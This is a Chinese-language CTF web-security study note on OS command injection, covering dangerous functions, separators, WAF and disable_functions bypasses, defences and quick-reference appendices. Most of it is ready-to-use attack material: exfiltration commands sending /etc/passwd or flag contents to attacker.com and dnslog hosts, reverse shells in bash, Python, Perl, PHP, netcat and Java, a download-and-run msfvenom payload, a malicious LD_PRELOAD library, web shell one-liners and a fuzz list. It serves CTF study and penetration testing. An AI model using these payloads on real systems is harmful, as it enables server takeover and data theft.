P07 命令注入

2022-03-11 CTF-WEB 詹英

梳理命令注入(OS Command Injection)漏洞的成因、各语言危险函数、利用技巧、反弹 Shell、WAF 绕过方法与 disable_functions 绕过。

一、命令注入概述与原理

1.1 定义

命令注入(OS Command Injection)是指攻击者将恶意操作系统命令插入到应用程序调用的命令中,使服务器执行任意系统命令。

用户输入 → 未经净化 → 拼接为 Shell 命令字符串 → OS 执行

1.2 危险代码示例

// PHP 危险写法
$host = $_GET['host'];
system("ping -c 1 " . $host);       // 直接拼接
shell_exec("nslookup " . $host);    // 直接拼接

// 安全写法(escapeshellarg 转义整个参数)
system("ping -c 1 " . escapeshellarg($host));

// 安全写法(escapeshellcmd 转义命令中的特殊字符)
system(escapeshellcmd("ping -c 1 " . $host));
# Python 危险写法
import os, subprocess
host = request.args.get('host')
os.system(f"ping -c 1 {host}")               # 危险
subprocess.call(f"ping -c 1 {host}", shell=True)  # 危险

# 安全写法(列表形式,不经过 Shell)
subprocess.call(["ping", "-c", "1", host])   # 安全

1.3 注入点识别

# 基础测试(确认命令注入)
127.0.0.1; id            → 显示用户信息
127.0.0.1 && id          → 显示用户信息
127.0.0.1 | id           → 显示用户信息
127.0.0.1 || id          → 显示用户信息
127.0.0.1 `id`           → 显示用户信息
127.0.0.1 $(id)          → 显示用户信息

# 时间延迟(无回显盲注检测)
127.0.0.1; sleep 5        → 响应延迟 5 秒(Linux)
127.0.0.1 & timeout /T 5  → 响应延迟 5 秒(Windows)
127.0.0.1; ping -c 5 127.0.0.1  → 延迟约 5 秒(Linux)
127.0.0.1 & ping -n 5 127.0.0.1 → 延迟约 5 秒(Windows)

1.4 危害等级

危害类型 说明 危害等级
任意命令执行 以 Web 服务账户权限执行系统命令 🔴 严重
文件读取 cat /etc/passwd / 读取敏感配置 🔴 严重
写入 WebShell 往 Web 目录写入后门文件 🔴 严重
反弹 Shell 获取交互式 Shell 🔴 严重
横向移动 内网渗透、SSH 密钥窃取 🔴 严重
权限提升 配合 SUID / sudo 提权 🔴 严重

二、各语言危险函数

2.1 PHP 命令执行函数

函数 说明 是否有回显 风险
system(string $cmd) 执行命令并输出,返回最后一行 ✅ 有 🔴 严重
exec(string $cmd) 执行命令,仅返回最后一行(不自动输出) ❌ 无(需 echo) 🔴 严重
passthru(string $cmd) 执行命令,直接输出二进制结果 ✅ 有 🔴 严重
shell_exec(string $cmd) 执行命令,返回完整输出字符串 ❌ 无(需 echo) 🔴 严重
`$cmd` 反引号,等价于 shell_exec ❌ 无 🔴 严重
popen(string $cmd, string $mode) 打开进程管道 ❌ 手动读 🔴 严重
proc_open(string $cmd, array $desc, &$pipes) 更灵活的进程管道 ❌ 手动读 🔴 严重
pcntl_exec(string $path, array $args) 执行程序(替换当前进程) ❌ 无 🔴 严重
mail(to, subject, msg, headers) 调用 sendmail,headers 可注入命令 ❌ 无 🟡 高
putenv('LD_PRELOAD=...') + mail() 加载恶意 .so 文件 ❌ 无 🔴 严重

2.2 Python 命令执行函数

函数/方法 说明 风险
os.system(cmd) 执行命令,返回退出码 🔴 严重
os.popen(cmd) 打开管道读取输出 🔴 严重
subprocess.call(cmd, shell=True) shell=True 时危险 🔴 严重
subprocess.Popen(cmd, shell=True) shell=True 时危险 🔴 严重
subprocess.check_output(cmd, shell=True) shell=True 时危险 🔴 严重
subprocess.run(cmd, shell=True) shell=True 时危险 🔴 严重
commands.getoutput(cmd) Python 2,执行并返回输出 🔴 严重
platform.popen(cmd) 打开管道 🔴 严重

2.3 Node.js 命令执行函数

函数/方法 说明 风险
child_process.exec(cmd, cb) 通过 Shell 执行命令 🔴 严重
child_process.execSync(cmd) 同步执行 🔴 严重
child_process.spawn(cmd, args) 不通过 Shell(args 分离则安全) 🟡 中
child_process.spawnSync(cmd) 同步 spawn 🟡 中
child_process.execFile(file) 执行文件 🟡 中
child_process.fork(module) 创建子进程运行 Node 模块 🟡 中

2.4 Java 命令执行方法

// 危险用法(将用户输入传入 Runtime/ProcessBuilder)
Runtime.getRuntime().exec(userInput);
new ProcessBuilder(userInput.split(" ")).start();

// 安全用法(参数分离,不经过 Shell 解析)
String[] cmd = {"ping", "-c", "1", host};  // host 不经 Shell 解析
Runtime.getRuntime().exec(cmd);

2.5 其他语言

# Ruby
`user_input`
system(user_input)
IO.popen(user_input)
open("|#{user_input}")
exec(user_input)
spawn(user_input)
Process.spawn(user_input)

# Perl
system($user_input);
`$user_input`;
open(FH, "$user_input |");
exec($user_input);

# Go
exec.Command("sh", "-c", userInput)  // 危险(shell=true 等价)
exec.Command(userInput)              // 危险

# C
system(user_input);
popen(user_input, "r");

三、命令注入利用技巧

3.1 分隔符与连接符

Linux / Unix

# 分号(顺序执行,前一个成功与否都执行后一个)
127.0.0.1; id
127.0.0.1; whoami; id; uname -a

# 逻辑与(前一个成功才执行后一个)
127.0.0.1 && id

# 逻辑或(前一个失败才执行后一个)
127.0.0.1 || id
127.0.0.2_invalid || id     # 故意让前面失败

# 管道(前一个输出作为后一个输入)
127.0.0.1 | id
cat /etc/passwd | grep root

# 换行符(某些场景有效)
127.0.0.1%0aid
127.0.0.1%0a%0did

# 后台执行(&)
127.0.0.1 & id

# 命令替换
127.0.0.1 `id`
127.0.0.1 $(id)
$(id)
`id`

Windows 专属

:: 逻辑与
127.0.0.1 & whoami
127.0.0.1 && whoami

:: 逻辑或
127.0.0.1 || whoami

:: 管道
127.0.0.1 | whoami

:: 换行符
127.0.0.1%0awhoami

常用分隔符速查

符号 含义 平台 示例
; 顺序执行 Linux id; whoami
&& 前成功再执行 Linux / Win id && whoami
|| 前失败再执行 Linux / Win xxx || id
| 管道 Linux / Win id | cat
& 后台执行 / Win 顺序 Linux / Win id & whoami
` ` 命令替换 Linux `id`
$(...) 命令替换 Linux $(id)
%0a 换行符 Linux / Win id%0awhoami
%0d%0a CRLF Linux / Win id%0d%0awhoami

3.2 无回显外带数据

当命令执行结果无法在页面中看到时,通过带外方式获取结果:

DNS 带外(最通用)

# 使用 Burp Collaborator 或 DNSlog.cn 接收
host=$(whoami); nslookup $host.your-collaborator-id.burpcollaborator.net
host=$(cat /etc/passwd | base64 | tr -d '\n' | cut -c1-60); nslookup $host.your-domain.com

# dig 命令
dig `whoami`.attacker.com

# curl DNS 解析
curl http://$(whoami).attacker.com

# ping 带外
ping -c 1 $(whoami).attacker.com

# 使用 DNSlog(国内常用)
curl http://`id`.xxx.dnslog.cn
wget "http://$(cat /flag | base64).xxx.dnslog.cn"

HTTP 外带

# curl 外带(URL 参数携带数据)
curl "http://attacker.com/?data=$(id | base64)"
curl "http://attacker.com/?cmd=$(cat /flag | base64 -w0)"

# wget 外带
wget "http://attacker.com/?data=$(whoami)" -O /dev/null

# curl 外带(POST 方式)
curl -X POST http://attacker.com/ -d "data=$(cat /etc/passwd | base64)"

# nc 外带
nc attacker.com 4444 < /etc/passwd
cat /etc/passwd | nc attacker.com 4444

写文件(间接回显)

# 将结果写入 Web 目录
id > /var/www/html/output.txt
cat /etc/passwd > /var/www/html/passwd.txt
# 然后通过 HTTP 访问

# 写入临时文件后读取
id > /tmp/out && curl http://attacker.com/?data=$(cat /tmp/out | base64)

搭建监听服务

# 攻击者 VPS 开启监听

# HTTP 服务(接收 GET/POST 数据)
python3 -m http.server 8888
# 访问日志中可看到请求参数

# NC 监听(接收原始数据)
nc -lvnp 4444

# Burp Collaborator(推荐)
# 自动捕获 HTTP / DNS / SMTP 带外请求

# interactsh(开源 Collaborator 替代)
./interactsh-client   # 获取唯一域名后监控所有交互

3.3 反弹 Shell

获得交互式 Shell,进行深度利用:

Bash 反弹

# 监听端(attacker.com)
nc -lvnp 4444

# 目标执行(多种写法)
bash -i >& /dev/tcp/attacker.com/4444 0>&1
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
0<&196;exec 196<>/dev/tcp/attacker.com/4444; sh <&196 >&196 2>&196

# URL 编码(HTTP 参数中)
bash+-c+'bash+-i+>%26+/dev/tcp/attacker.com/4444+0>%261'

# Base64 编码(绕过空格/特殊字符过滤)
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx" | base64 -d | bash

Python 反弹

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

Perl 反弹

perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

PHP 反弹

php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("attacker.com",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

Netcat 反弹

# 传统 nc(有 -e 参数)
nc attacker.com 4444 -e /bin/bash
nc attacker.com 4444 -e /bin/sh

# 无 -e 参数的 nc(使用 mkfifo)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker.com 4444 > /tmp/f

# ncat(Nmap 版本)
ncat attacker.com 4444 -e /bin/bash

Java 反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

MSFvenom 生成反弹 Shell

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f elf > shell.elf

# 下载并执行
curl http://attacker.com/shell.elf -o /tmp/shell && chmod +x /tmp/shell && /tmp/shell
wget http://attacker.com/shell.elf -O /tmp/s && chmod +x /tmp/s && /tmp/s

反弹 Shell 升级(获得完整 TTY)

# 目标机器上执行(升级为完整交互 Shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 然后在 nc 会话中:
Ctrl+Z                           # 挂起 nc
stty raw -echo; fg               # 重置终端并恢复 nc
# 回车后输入:
export TERM=xterm
stty rows 50 columns 200         # 设置终端大小

3.4 命令替换技巧

# 命令替换(结果替换到命令行)
echo $(id)
echo `id`
cat $(find / -name flag.txt 2>/dev/null | head -1)

# 进程替换
diff <(cat /etc/passwd) <(cat /etc/shadow)

# Here string
cat <<< $(id)

# 多命令串联读取文件
cat /etc/p*sswd              # 通配符
cat /etc/pa??wd              # 单字符通配符
head /etc/passwd             # 读取前几行
tail /etc/passwd             # 读取后几行
less /etc/passwd             # 分页读取

# 特殊路径读取
cat /proc/self/environ       # 环境变量(含密钥/密码)
cat /proc/self/cmdline       # 当前进程命令行
cat /proc/net/tcp            # 开放端口(十六进制)
ls /proc/*/cmdline 2>/dev/null | head -20  # 所有进程

# 利用 tee 读写
id | tee /var/www/html/out.txt
cat /etc/passwd | tee /var/www/html/passwd.txt

四、命令注入 WAF 绕过

4.1 空格绕过

# Linux 中可替代空格的字符
$IFS                    # 内部字段分隔符(默认含空格/Tab/换行)
${IFS}                  # 大括号明确范围
$IFS$9                  # 后跟数字防止解析歧义
%09                     # Tab(URL 编码)
%0a                     # 换行(URL 编码)
{cat,/etc/passwd}       # 大括号展开(Bash)
cat</etc/passwd         # 重定向(无空格)
cat<>/etc/passwd        # 读写重定向
X=$'\x20'; cat${X}/etc/passwd    # ANSI C 字符串
X=$'\t'; cat${X}/etc/passwd      # Tab

# 完整示例
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat${IFS}${IFS}/etc/passwd      # 双 IFS
{cat,/etc/passwd}               # Bash 大括号

4.2 关键字绕过

反斜杠截断

# 反斜杠在 Shell 中为转义字符,可截断关键字
w\hoami
wh\oami
who\ami
w\h\o\a\m\i              # 多个反斜杠

ca\t /etc/pa\sswd
c\at /etc/p\asswd

引号截断

# 引号不影响命令执行,可截断关键字
who''ami                 # 单引号截断
who""ami                 # 双引号截断
wh''o''a''m''i           # 多处截断
c'a't /etc/pass'w'd      # 混合

# 结合变量
a=wh; b=oami; $a$b       # 变量拼接
a='who';b='ami'; $a$b

大括号展开(Bash 特性)

{cat,/etc/passwd}
{ls,-la,/}
{wget,http://attacker.com/shell.sh,-O,/tmp/s}

变量拼接

# 分割命令关键字为变量
a=cat;b=/etc/passwd;$a $b
a=sy;b=stem;${a}${b}('id')    # PHP 上下文

# 使用环境变量中的字符
echo ${PATH:0:1}    # 提取 PATH 第一个字符(通常为 /)
echo ${PATH:5:1}    # 提取特定位置字符

# 利用 HOME、USER 等变量
echo $HOME          # /root 或 /home/user
ls ${HOME}

通配符替代字符

# ? 匹配单个字符
/???/??t /???/p????d         # /bin/cat /etc/passwd
/?in/cat /e??/p??s?d
/usr/bin/wh?ami

# * 匹配多个字符
/bin/ca* /etc/pass*
cat /etc/pass*               # 匹配 passwd, password 等
ls /home/*/.ssh/id_rsa

# 字符类
/[b]in/cat
/bin/[c]at
cat /[e]tc/passwd

Base64 / Hex 解码执行

# Base64
echo "aWQ=" | base64 -d | bash                # id
echo "d2hvYW1p" | base64 -d | bash           # whoami
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash  # cat /etc/passwd

# Hex(xxd)
echo "696420" | xxd -r -p | bash
printf '\x77\x68\x6f\x61\x6d\x69' | bash    # whoami

# 利用 eval 解码
eval $(echo "d2hvYW1p" | base64 -d)

4.3 编码与转义绕过

# URL 编码(在 HTTP 参数中)
%73%79%73%74%65%6d          # system
%77%68%6f%61%6d%69          # whoami
127.0.0.1%3bid              # ; 的 URL 编码
127.0.0.1%0aid              # 换行符

# 双重 URL 编码
127.0.0.1%253bid            # %3b 再编码 → %253b

# ANSI C 字符串($'...')
$'\x77\x68\x6f\x61\x6d\x69'  # whoami
$'\167\150\157\141\155\151'   # whoami(八进制)
bash -c $'\x77\x68\x6f\x61\x6d\x69'

# 八进制
$(printf "\167\150\157\141\155\151")   # whoami

# Windows 特有绕过
# 大小写绕过
WHOAMI
WhoAmI

# 环境变量截断
%COMSPEC% /c whoami         # %COMSPEC% = cmd.exe

# ^ 转义符截断
wh^oam^i
who^ami

# PowerShell Base64 执行
powershell -EncodedCommand [Base64 of command]
# 编码:[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("whoami"))

4.4 长度限制绕过

当命令长度受限(如 WAF 限制参数长度,或代码中限制了输入长度):

# 方法1:将命令分段写入文件后执行
# 命令:curl http://attacker.com/shell.sh | bash
# 分段写入(每次写 4-5 个字符)
>curl                    # 创建文件名
>$'\x20'htt              # 空格 + htt
>p://a                   # 继续
>tt.co
>m/she
>ll.sh
ls -t | head -6 | tr -d '\n' | bash  # 按时间顺序读文件名拼接命令

# 方法2:利用全局变量
export CMD=whoami; $CMD

# 方法3:<<< heredoc
bash<<<id
bash<<<$(echo id)

# 方法4:利用文件名执行
# 创建文件名为命令的文件
touch 'id'
chmod +x id
./id
# 或
*             # 执行当前目录第一个文件

4.5 黑名单绕过合集

过滤了 cat

tac /etc/passwd          # 反向输出(cat 的反向)
more /etc/passwd
less /etc/passwd
head /etc/passwd
tail /etc/passwd
nl /etc/passwd           # 带行号输出
od -c /etc/passwd        # 八进制转储
hexdump -C /etc/passwd   # 十六进制转储
xxd /etc/passwd
strings /etc/passwd
grep . /etc/passwd       # 匹配所有行
awk '{print}' /etc/passwd
sed '' /etc/passwd
dd if=/etc/passwd        # dd 读取
cp /etc/passwd /var/www/html/p.txt  # 复制到可访问位置
while read l; do echo $l; done</etc/passwd  # while 读取
python3 -c "print(open('/etc/passwd').read())"

过滤了 /

# 利用环境变量中的 /
${PATH:0:1}              # 提取 PATH 第一个字符 /
${HOME:0:1}              # 若 HOME 以 / 开头
echo ${PATH:0:1}etc${PATH:0:1}passwd   # /etc/passwd

# 利用 $() 命令替换
$(printf "\57")          # \57 = /
$(echo -e "\x2f")        # \x2f = /

# 利用 ANSI C
$'\57'etc$'\57'passwd
$'\x2f'etc$'\x2f'passwd

# 通配符(某些情况)
cat /???/passwd          # 匹配 /etc/passwd

过滤了特殊字符(; | & ` $)

# 换行符绕过(%0a)
127.0.0.1%0aid

# 重定向替代管道
id > /tmp/o; cat /tmp/o

# 利用 alias
alias x='id'; x

# 利用 source
echo 'id' > /tmp/x; source /tmp/x
echo 'id' > /tmp/x; . /tmp/x      # . 等价于 source

过滤了数字

# 用 $? 等特殊变量获取数字
echo $?       # 0(上一条命令退出码)

# 用算术展开
echo $((1+1))

# 用十六进制
printf '\x31'  # 1

过滤了黑名单关键字(通用技巧汇总)

# 1. 变量截断
v="cmd";${v:0:1}${v:1:1}${v:2:1}    # c-m-d

# 2. 利用 read
read x <<< "id"; $x

# 3. 利用重定向和替换
<<<"id" bash

# 4. 利用 xargs
echo id | xargs bash -c

# 5. 利用 env
env id

# 6. 利用 timeout / nice / nohup
timeout 10 id
nice id
nohup id

# 7. 利用 strace
strace id 2>&1

WAF 绕过速查表

过滤目标 绕过方法 示例
空格 $IFS cat${IFS}/etc/passwd
空格 重定向 cat</etc/passwd
空格 大括号展开 {cat,/etc/passwd}
cat 命令 替代命令 tac / head / awk
/ 字符 环境变量 ${PATH:0:1}
关键字 反斜杠截断 c\at
关键字 引号截断 c''at
关键字 变量拼接 a=c;b=at;$a$b
关键字 Base64 解码 echo "aWQ="|base64 -d|bash
`; |&` 换行符
数字 算术展开 $((1+1))
长度限制 分段写文件 ls -t | tr -d '\n'|bash

五、特殊场景注入

5.1 无字母/数字命令注入

# 仅使用特殊字符执行命令
# 利用 sh 的特性和文件系统

# 1. 利用文件名
ls /usr/bin/?s         # 找到 ls, ps 等
/usr/bin/w             # 查看当前用户

# 2. 利用环境变量字符构造命令
# $PATH 通常为 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PATH:14:1}${PATH:6:1}    # 提取字符构造命令

# 3. 利用 * 展开执行当前目录文件
*                      # 执行第一个匹配文件

# 4. 利用 $((  )) 算术展开
$((1))                 # 返回 1,可构造数字参数

5.2 Windows 命令注入

# Windows 命令分隔符
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 | whoami
127.0.0.1 || whoami

# 执行 PowerShell
127.0.0.1 & powershell -Command "whoami"
127.0.0.1 & powershell -EncodedCommand dwBoAG8AYQBtAGkA    # Base64: whoami

# 绕过空格(使用逗号)
cmd,/c,whoami

# 大小写绕过
WHOAMI
WhoAmI

# 使用环境变量
%COMSPEC% /c whoami
%SystemRoot%\system32\cmd.exe /c whoami

# PowerShell Base64 编码命令
powershell -EncodedCommand [Base64 of command]
# 生成:[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("whoami"))

六、Bypass disable_functions

当 PHP 的 disable_functions 禁用了常见命令执行函数时的绕过方法:

6.1 检查被禁函数

// 查看被禁用的函数
echo ini_get('disable_functions');
print_r(explode(',', ini_get('disable_functions')));

6.2 LD_PRELOAD 绕过

# 原理:通过 putenv 设置 LD_PRELOAD,加载恶意 .so
# 触发:调用 mail() 等会执行外部程序的函数

# 1. 编写恶意 C 代码(evil.c)
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__((constructor)) void preload() {
    unsetenv("LD_PRELOAD");
    system("id > /tmp/pwned");
}

# 编译为 .so
gcc -shared -fPIC evil.c -o evil.so
// 2. PHP 中触发
putenv("LD_PRELOAD=/var/www/html/uploads/evil.so");
mail("", "", "", "");  // 触发 sendmail,加载 evil.so
// 或 error_log("test", 1, "a@b.com", "");

6.3 FFI 扩展(PHP 7.4+)

// 若 FFI 扩展启用
$ffi = FFI::cdef("int system(const char *command);", "libc.so.6");
$ffi->system("id > /tmp/pwned");

// 读取文件
$ffi = FFI::cdef("
    typedef int FILE;
    FILE* fopen(const char* path, const char* mode);
    char* fgets(char* s, int size, FILE* stream);
    int fclose(FILE* stream);
", "libc.so.6");
$f = $ffi->fopen("/etc/passwd", "r");
$buf = FFI::new("char[4096]");
$ffi->fgets($buf, 4096, $f);
echo FFI::string($buf);

6.4 pcntl_exec(替代 exec 类函数)

// pcntl_exec 替换当前进程执行命令
pcntl_exec("/bin/bash", ["-c", "id > /tmp/pwned"]);
// 注意:此函数会替换当前进程,PHP 脚本后续代码不执行

6.5 imap_open(CVE-2018-19518)

// imap 扩展的 IMAP 路径中注入命令
// 需要 PHP < 5.6.38 / < 7.0.32 / < 7.1.22 / < 7.2.10
imap_open(
    '{127.0.0.1:143/imap}INBOX',
    'x -oProxyCommand=id>/tmp/pwned',
    ''
);

6.6 利用 ImageMagick

# 若网站使用 ImageMagick 处理上传图片
# 创建恶意图片(exploit.mvg 文件内容)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/"|id > /tmp/pwned")'
pop graphic-context

6.7 其他绕过方式

// 利用 Imagick 类(PHP 扩展)
$im = new Imagick();
$im->readImage("vid:msl:/tmp/pwn.txt");

// 利用 COM 对象(Windows PHP)
$shell = new COM("WScript.Shell");
$shell->run("cmd /c id > C:\\output.txt", 0, true);

// PHP 原生类利用(仅读文件,非命令执行)
// SplFileObject 读文件
$o = new SplFileObject('/etc/passwd');
echo $o->fread($o->getSize());

// DirectoryIterator 列目录
foreach (new DirectoryIterator('/') as $f) { echo $f->getFilename()."\n"; }

6.8 disable_functions 绕过速查

方法 条件 危害
LD_PRELOAD + mail() 可上传 .so,mail 未禁 RCE
FFI 扩展 PHP 7.4+,FFI 启用 RCE
pcntl_exec pcntl 扩展启用 RCE
imap_open PHP <7.2.10,imap 扩展 RCE(CVE-2018-19518)
ImageMagick ImageMagick 已安装 RCE
Apache mod_cgi Apache + AllowOverride All RCE
COM 对象 Windows + PHP RCE

七、CTF 实战思路

7.1 命令注入快速判断

发现可能的注入点 →
  ├── 添加 ; id → 有回显 → 直接注入
  ├── 添加 && sleep 5 → 延迟 → 无回显盲注
  │     └── 外带:curl/dns/wget 带出数据
  ├── 无法注入 → 尝试不同分隔符 (|, ||, &, &&, \n)
  └── 有过滤 → WAF 绕过(空格/关键字/编码)

7.2 常见 CTF 命令注入场景

// 场景1:ping 功能
system("ping -c 1 " . $_GET['ip']);
// 绕过:?ip=127.0.0.1;id

// 场景2:nmap 扫描
shell_exec("nmap " . $_POST['host']);
// 绕过:host=127.0.0.1;cat /flag

// 场景3:文件名注入
system("file uploads/" . $_GET['filename']);
// 绕过:?filename=x;id  或  ?filename=../../../etc/passwd

// 场景4:模板生成
shell_exec("convert " . $input . " output.pdf");
// 绕过:input=x;cat /flag>output.txt

// 场景5:Git 操作
exec("git clone " . $url);
// 绕过:url=x;id

7.3 特殊情况处理

# 情况1:只允许字母数字
env                 # 查看环境变量
printenv            # 打印环境变量

# 情况2:不允许斜杠(/ 被过滤)
${PATH:0:1}etc${PATH:0:1}passwd    # 使用环境变量字符
$'\57'etc$'\57'passwd              # ANSI C 字符串

# 情况3:过滤了空格和 IFS
{cat,/etc/passwd}
cat</etc/passwd
cat${IFS}/etc/passwd

# 情况4:回显有长度限制(只显示部分)
# 分段读取
cat /flag | cut -c1-20
cat /flag | cut -c21-40
cat /flag | head -c 20
cat /flag | tail -c +21 | head -c 20
# 或写到文件
cat /flag > /var/www/html/f && cat /var/www/html/f

八、防御措施

8.1 正确的命令调用方式

// 1. 优先使用不调用 Shell 的 API
// 危险(通过 Shell)
system("ping -c 1 " . $host);
// 安全(直接调用)
$host = filter_var($_GET['host'], FILTER_VALIDATE_IP);
if (!$host) die("Invalid IP");
// 使用 proc_open 分离参数
$proc = proc_open(
    ['ping', '-c', '1', $host],  // 数组形式,不经 Shell
    $desc, $pipes
);

// 2. 使用 escapeshellarg() 转义参数
system("ping -c 1 " . escapeshellarg($host));
// 注意:escapeshellarg 会在参数两端加引号并转义内部引号

// 3. 白名单验证输入
$allowed_hosts = ['google.com', 'baidu.com', 'github.com'];
if (!in_array($host, $allowed_hosts)) {
    die('Host not allowed');
}

// 4. 正则白名单(只允许 IP 格式)
if (!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $host)) {
    die('Invalid IP format');
}
# Python 安全调用命令

# 危险(shell=True + 字符串拼接)
subprocess.call(f"ping -c 1 {host}", shell=True)

# 安全(列表参数 + shell=False)
subprocess.call(["ping", "-c", "1", host], shell=False)

# 安全(shlex.quote 转义)
import shlex
cmd = f"ping -c 1 {shlex.quote(host)}"
subprocess.call(cmd, shell=True)  # 仍建议用列表形式

8.2 防御检查清单

✅ 系统命令调用使用参数化形式(列表/数组),不拼接字符串
✅ 必须拼接时使用 escapeshellarg() 对每个参数单独转义
✅ 对用户输入进行类型验证(IP、数字、枚举等)
✅ 使用白名单限制可用值,不使用黑名单
✅ 最小权限原则:Web 进程不应以 root 运行
✅ 部署 WAF 过滤命令注入特征字符(;, |, &, `, $()等)
✅ 禁用 PHP 危险函数(disable_functions)
✅ 记录所有系统调用日志,设置异常告警
✅ 定期更新依赖库,修补已知 RCE 漏洞
✅ 容器化部署隔离,限制容器出站网络请求

附录

A. Fuzz 字典(基础)

;id
|id
||id
&&id
`id`
$(id)
;id;
|id|
; id
| id
& id
&& id
\nid
%0aid
%0a id
%0d%0aid
%09id
${IFS}id
$IFS$9id
;{id}
|(id)

B. 常用信息收集命令速查

# 基本信息
id && whoami && hostname && uname -a
cat /etc/passwd
cat /etc/os-release
env
cat /proc/self/environ

# 文件系统
ls -la /
ls -la /home
find / -name "flag*" 2>/dev/null
find / -name "*.conf" 2>/dev/null   # 配置文件

# 权限相关
find / -perm -4000 2>/dev/null      # SUID 文件(提权)
sudo -l                              # 可 sudo 的命令
cat /etc/crontab                     # 定时任务
ls -la /etc/cron*

# 网络
netstat -tuln 2>/dev/null || ss -tuln  # 开放端口
cat /proc/net/tcp                      # 内网连接信息

# 写 WebShell
echo '<?php @eval($_POST[cmd]);?>' > /var/www/html/shell.php
printf '<?php system($_GET["cmd"]);?>' > /var/www/html/shell.php

C. 反弹 Shell 速查

方式 命令(替换 ATTACKER 和 PORT)
Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1
Python3 python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
PHP php -r '$s=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in(PORT,inet_aton("ATTACKER")));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
NC(有-e) nc ATTACKER PORT -e /bin/bash
NC(无-e) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT>/tmp/f

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行攻击属于违法行为,请在合法合规的环境中学习与实践。